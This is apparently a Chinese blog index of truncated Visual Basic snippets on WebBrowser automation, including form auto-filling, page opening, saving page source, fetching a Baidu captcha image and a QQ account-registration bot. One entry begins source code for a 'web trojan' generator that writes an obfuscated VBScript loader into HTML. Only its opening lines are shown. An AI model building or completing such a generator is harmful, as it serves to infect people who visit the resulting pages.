vb webbrowser不弹出新窗口,且在原窗口打开新链接
摘要:vb webbrowser不弹出新窗口,且在原窗口打开新链接代码1:Private Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)Dim frm As Form1Set frm = New Form1frm.Visible = TrueSet ppDisp = frm.WebBrowser1.objectEnd Sub 代码2:Private Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)Cancel = TrueWebBrowser1
阅读全文
vb如何获取百度验证码图片
摘要:本工程需要Microsoft Internet Transfer Control 6.0控件'-----------------------窗体上一个inet、一个picture、一个commandPrivate Sub Command1_Click() Dim Buff() As Byte Inet1.URL = "https://passport.baidu.com/?verifypic" Buff() = Inet1.OpenURL(, icByteArray) p = App.Path + "\temp.jpg" Open p For B
阅读全文
VB功能模块:最全的VB操作网页功能模块
摘要:http://www.zhanq.info/?p=60
阅读全文
用VB自动填写网页表单
摘要:Public Sub WriteToForm(ByVal Obj As Object, ByVal sTagName As String, ByVal sName As String, ByVal Submit As Boolean, Optional sType As String = "", Optional sValue As String = "", Optional sSelect As Boolean) Dim i As Integer Dim vDoc, vTag sTagName = UCase(sTagName) sType = UCa
阅读全文
vb打开网页
摘要:网址打开全方法集合:1.基于start.exe +++++++++++++++++++源码1++++++++++++++++++++++ url="http://hi.baidu.com/tanry" shell "start " & url,0 +++++++++++++++++++源码2++++++++++++++++++++++ url="http://hi.baidu.com/tanry" shell "cmd.exe /c start " & url,02.基于文件浏览器(explorer
阅读全文
VB操作网页元素(可用于自动填表等用途)
摘要:http://jianchaowuhui.blog.163.com/blog/static/969165892009112114814703/Private Sub Command1_Click() Web.Navigate2 "http://reg.jx3.xoyo.com/reg.php" ‘打开网页/ ?1 q+ M0 P2 a3 ^End Sub2 j! E7 ty* J$ F$ w3 z# x6 j# N1 Q( p'下边就是关健操作代码了' N2 hC. A, z" i1 l+ J* {, C; y% H2 d4 GPrivate Su
阅读全文
VB操作网页元素
摘要:用webbrowser打开网页后,网页内的所有元素你都可以通过代码来操作,方法是:1.根据标记名(tagname)的和元素名name来找到元素,2.给元素赋值或是执行相关的事件.例1: 给username文本框内填充内容:Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, URL As Variant)Dim docDim tgSet doc = WebBrowser1.DocumentFor i = 0 To doc.All.length - 1If (LCase(doc.All(i).tagname)) = &qu
阅读全文
自动填写网页列表框和单选框的问题
摘要:PrivateSub Command1_Click()WebBrowser1.Document.getElementsByName("sex")(2).Checked = TrueEnd SubPrivateSub Command2_Click()WebBrowser1.Document.getElementsByName("sto")(2).Checked =TrueEnd SubPrivateSub Command3_Click()WebBrowser1.Document.getElementsByName("sto")(3).C
阅读全文
VB自动填表的问题
摘要:http://bbs.bccn.net/thread-44217-1-1.html
阅读全文
新篇QQ申请器,完整版源码,用post提交
摘要:http://hi.baidu.com/zgq666/blog/item/2ab43c4eb173f1dbd0c86a58.html首先往窗口上放 'Picture1 Command1 Command2 Label1 Label2 Label3 Text1 Text2(MultiLine = True ScrollBars = 2),比上次要在多一个Timer1'最主要的一个 Inet 控件 (microsoft internet transfer control 6.0) vb精简版里没有,需要完整版'本人为VB业余爱好者,分享本代码的目的是为分享技术,并非鼓励大家恶
阅读全文
VB实现自动填表2
摘要:来自于:http://hi.baidu.com/wq1282/blog/item/bd1f0ece8ca6cf30b700c810.html首先在程序中加入Webbrowser控件并加入引用 Microsoft HTML Object Library。 假设你的HTML页面表单代码如下: <form method="POST" action="http://chen/dll/chat/chatmain.exe/RegUser"> <p>请填写下面表单注册(*项为必添项)</p> <p>*姓名<inpu
阅读全文
手把手教你Vb网页自动填表2 (视频)
摘要:http://v.youku.com/v_show/id_XMjAyMTMwNTUy.html
阅读全文
VB制作网页自动填表
摘要:VB制作简单模拟器教程入门版第一讲 如何用VB编程打开一个网页: 由于是为做模拟器做铺垫,所以就不介绍别的方法,只介绍一种最简单的用webbrowser控件实现(实际是其他的方法我还没有学会)。 下面我们就开始步入模拟器的大门了: 一、先打开VB新建一个工程 二、在工具条上点右键选部件(我用的是中文版VB)或者选工程菜单,点部件 三、找到Microsoft Internet Controls,在前面打挑,然后确认就可以看到在工具条上多出来一个地球样的图标,我们以后的实现就都围绕着他来进行了。 四、添加一个WebBrowser1到Form1中,再添加一个command1到Form1...
阅读全文
vb webbrowser获取源码并保存
摘要:rivate Sub Command1_Click()Dim YDMYDM = WebBrowser1.Document.body.createtextrange().htmltextOpen "D:\WEB.html" For Output As #1Print #1, YDMClose #1End Sub=================工程里引用:Microsoft HTML object Library工程里部件:Microsoft Internet controls Microsoft rich textbox controls 6.0 (SP6)在窗体中放置一个
阅读全文
VB生成网马的源代码
摘要:Dim Snow(1000, 2), Amounty As IntegerPrivate Sub Command1_Click()dmlt = dmlt + " <SCRIPT>var Laoding=""%3Chtml%3E%3Cscript language%3D%22VBScript%22%3E on error resume next%0D%0A"";document.write(unescape(Laoding))</SCRIPT>" + vbCrLfdmlt = dmlt + " &quo
阅读全文
VB调用webbrowser技巧集1
摘要:http://wenku.baidu.com/view/15a0e6573c1ec5da50e270a9.html?from=rec&pos=0&weight=11&lastweight=4&count=5http://wenku.baidu.com/view/82e3e9dd5022aaea998f0f51.html?from=rec&pos=4&weight=4&lastweight=4&count=5http://wenku.baidu.com/view/4aea37f24693daef5ef73d47.html?from=
阅读全文
VB关于webbrowser相关操作大全
摘要:http://wenku.baidu.com/view/15a0e6573c1ec5da50e270a9.html?from=rec&pos=0&weight=11&lastweight=4&count=5
阅读全文